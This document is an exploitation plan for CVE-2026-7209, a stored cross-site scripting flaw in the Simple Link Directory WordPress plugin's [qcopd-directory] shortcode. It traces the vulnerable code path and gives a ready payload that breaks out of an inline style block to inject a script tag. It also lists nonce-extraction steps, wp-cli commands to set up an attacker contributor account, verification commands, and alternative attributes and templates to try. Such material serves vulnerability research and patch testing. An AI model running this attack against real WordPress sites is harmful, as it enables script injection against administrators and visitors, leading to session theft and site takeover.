Exploitation Research Plan - CVE-2026-7209

1. Vulnerability Summary

The Simple Link Directory plugin (<= 8.9.2) is vulnerable to Stored Cross-Site Scripting (XSS) via the [qcopd-directory] shortcode. Specifically, several attributes such as title_font_size, subtitle_font_size, title_line_height, and subtitle_line_height are passed directly into CSS blocks via the WordPress function wp_add_inline_style without sufficient sanitization or escaping. This allows an authenticated attacker (Contributor level or higher) to inject arbitrary HTML and JavaScript by breaking out of the <style> context.

2. Attack Vector Analysis

• Endpoint: The standard WordPress post/page editor.
• Shortcode: [qcopd-directory]
• Vulnerable Parameter: Shortcode attributes, specifically title_font_size.
• Authentication Level: Authenticated (Contributor+). Contributors can create posts/pages and use shortcodes but cannot publish them without approval. However, the XSS will execute for any user (including Administrators) who previews the draft or views the published post.
• Precondition: At least one "Link Directory" (custom post type sld) must exist for the shortcode to process the template files containing the vulnerability.

3. Code Flow

1. Registration: The shortcode is registered in qc-op-directory-shortcodes.php:

   add_shortcode('qcopd-directory', 'qcopd_directory_full_shortcode');
   

2. Processing: qcopd_directory_full_shortcode calls show_qcopd_full_list($atts).
3. Extraction: show_qcopd_full_list uses extract(shortcode_atts(...)) to populate variables like $title_font_size and $style.
4. Template Loading: Depending on the style attribute (default: simple), the plugin includes a template file (e.g., templates/simple/template.php).
5. Vulnerable Sink: Inside templates/simple/template.php, the $title_font_size variable is used to construct a CSS string for wp_add_inline_style:

   $customcss = '';
   $customcss .= '#list-item-'.$listId .'-'. get_the_ID().'.simple ul li a{';
   if($title_font_size!=''){
       $customcss .= 'font-size:'.$title_font_size.';';
   }
   // ...
   wp_add_inline_style( 'sld-css-simple', $customcss );
   

6. Rendering: WordPress outputs the contents of $customcss inside a <style> block. An attacker can use </style> to close the block and inject a <script> tag.

4. Nonce Acquisition Strategy

Since this is an authenticated Stored XSS vulnerability performed via the WordPress post editor, the attacker needs a standard WordPress post nonce and cookie to create/edit a post.

1. Log in as a Contributor.
2. Navigate to wp-admin/post-new.php.
3. Extract the _wpnonce from the HTML form:
   • browser_eval("document.querySelector('#_wpnonce').value")
4. Use this nonce in the http_request to save the post containing the malicious shortcode.

5. Exploitation Strategy

1. Identify Target: Ensure at least one sld (Link Directory) post exists.
2. Craft Payload: Create a shortcode attribute that breaks the CSS and style tag:
   • title_font_size='20px; } </style><script>alert(document.domain)</script>'
3. Inject Shortcode: Create a new page/post with the following content:
   • [qcopd-directory style="simple" title_font_size='20px; } </style><script>alert(document.domain)</script>']
4. Trigger Execution: Access the permalink of the post (or the preview URL if only saved as a draft).

6. Test Data Setup

Before exploitation, the environment must be prepared using wp-cli:

1. Create Contributor User:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Create a Link Directory (sld) post: (The shortcode requires at least one list to exist to trigger the template rendering logic).

   wp post create --post_type=sld --post_title="Test Directory" --post_status=publish
   

7. Expected Results

When the page containing the shortcode is loaded:

1. The WordPress engine processes the [qcopd-directory] shortcode.
2. The plugin enqueues the sld-css-simple stylesheet.
3. The plugin calls wp_add_inline_style with the payload.
4. The HTML response will contain:

   <style id='sld-css-simple-inline-css' type='text/css'>
   ... font-size:20px; } </style><script>alert(document.domain)</script>;}
   </style>
   

5. The browser executes alert(document.domain).

8. Verification Steps

1. Verify Post Content: Use wp-cli to check the stored shortcode:

   wp post get [POST_ID] --field=post_content
   

2. Verify Source Output: Use http_request to fetch the page and grep for the broken style tag:

   http_request GET "http://localhost:8080/?p=[POST_ID]" | grep "</style><script>alert"
   

9. Alternative Approaches

• Other Attributes: If title_font_size is sanitized in a specific environment, try subtitle_font_size, title_line_height, or subtitle_line_height across different styles (e.g., style="style-1").
• Other Styles: The vulnerability exists in multiple template files:
  • templates/simple/template.php
  • templates/style-1/template.php
  • templates/style-16/template.php
• CSS-Based XSS: In some modern browsers, if <script> is filtered, one could attempt XSS via background-image: url("javascript:...") or similar CSS vectors, although this is largely mitigated in modern engines compared to the <style> breakout.